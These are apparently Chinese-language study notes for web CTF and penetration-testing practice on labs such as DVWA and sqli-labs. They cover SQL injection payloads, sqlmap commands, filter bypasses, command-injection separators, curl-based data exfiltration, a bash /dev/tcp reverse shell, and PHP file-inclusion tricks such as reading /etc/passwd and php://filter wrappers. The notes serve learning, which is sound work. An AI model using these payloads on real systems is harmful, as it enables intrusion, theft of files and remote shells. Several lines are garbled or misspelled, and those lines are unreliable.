DVWA:
http://www.dvwa.co.uk
sqlilab:
https://github.com/Audi-1/sqli-labs
xss-game:
https://xss-game.appspot.com/
工具:hackbar 拓展工具
Burpsuite
Python requests sqlmap
dirsearch
SourceLeakHacker
githack
Burp suite: 拦截 与 重发
index.php~ 是备份文件
SQL注入:
绕过登录
union联合注入 (左右查询结果的列数要一样)
错误注入
布尔盲注
时间盲注
Sqlmap使用
过滤与绕过
MySQL
当前数据库:select database():
所有数据库:select distinct table_schema from information_schema.tables
表名: select table_name from information_schema.tables where table_schema=‘数据库名’
列名: select column_name from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’
union联合注入
Oder by n 测试有多少列
$name = admin 'unioin select 1,2,3,4 测试显示的是哪列
错误注入:
1、extractvalue(1,concat(’~’,(select database())))
2、updatexml(1,concat(’~’,(select database()),’~’),1)
~ 十六进制表示: 0x7e
要求:必须是一条
limit 1
group_concat()
布尔注入:
MySQL不区分大小写 a=A 为 true
解决:转ASCII码
name= admin’ or ord(substr(database(),1,1))=116#
时间盲注:
$id=10 or if(1,sleep(10),0)
if 条件成立执行sleep()
sqlmap基本用法:
./sqlmap.py -u “url” -p id --dbs
./sqlmap.py -r post.txt --dbs
其他用法 ./sqlmap.py -h
1、如果过滤空格,用()或者/**/
2、如果过滤引号,用十六进制绕过
3、如果过滤逗号, substr(‘xxx’ form 2 for 1)
4、过滤一些关键字:尝试使用其他函数
命令注入-命令截断
;命令截断
|
&
%0a
命令注入-无回显
exec('
c
m
d
′
,
cmd',
cmd′,a) shell命令 ,结果存到$a,无回显
解决办法:
$cmd = curl ip?a=Is
python -m SimpeHTTPServer 8888
Curl 127.0.0.1:8888r=cat flag|base64
(base64 字符超过72时 会自动加入换行符 )
反弹shell
nc -Ip 8888 -vvv
bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
Bash -c ‘bash -i’ >& /dev/tcp/127.0.0.1/8888 0>&1
过滤空格
cat<>flag
过滤/
base64
PHP安全:
PHP文件包含:require、include、require_once、include_once
pre.php?file=/ect/passward 任意读文件
当读php文件时 会先执行一次php文件
文件包含-伪协议
?file=imflag.php
?php://filter/read=convert.base64-encode/resource=imflag.php
?file=php://input
默认不支持,需要修改php.ini,将allow_url_include = On,重启服务器即可
可以post 参数为 php命令 进行执行。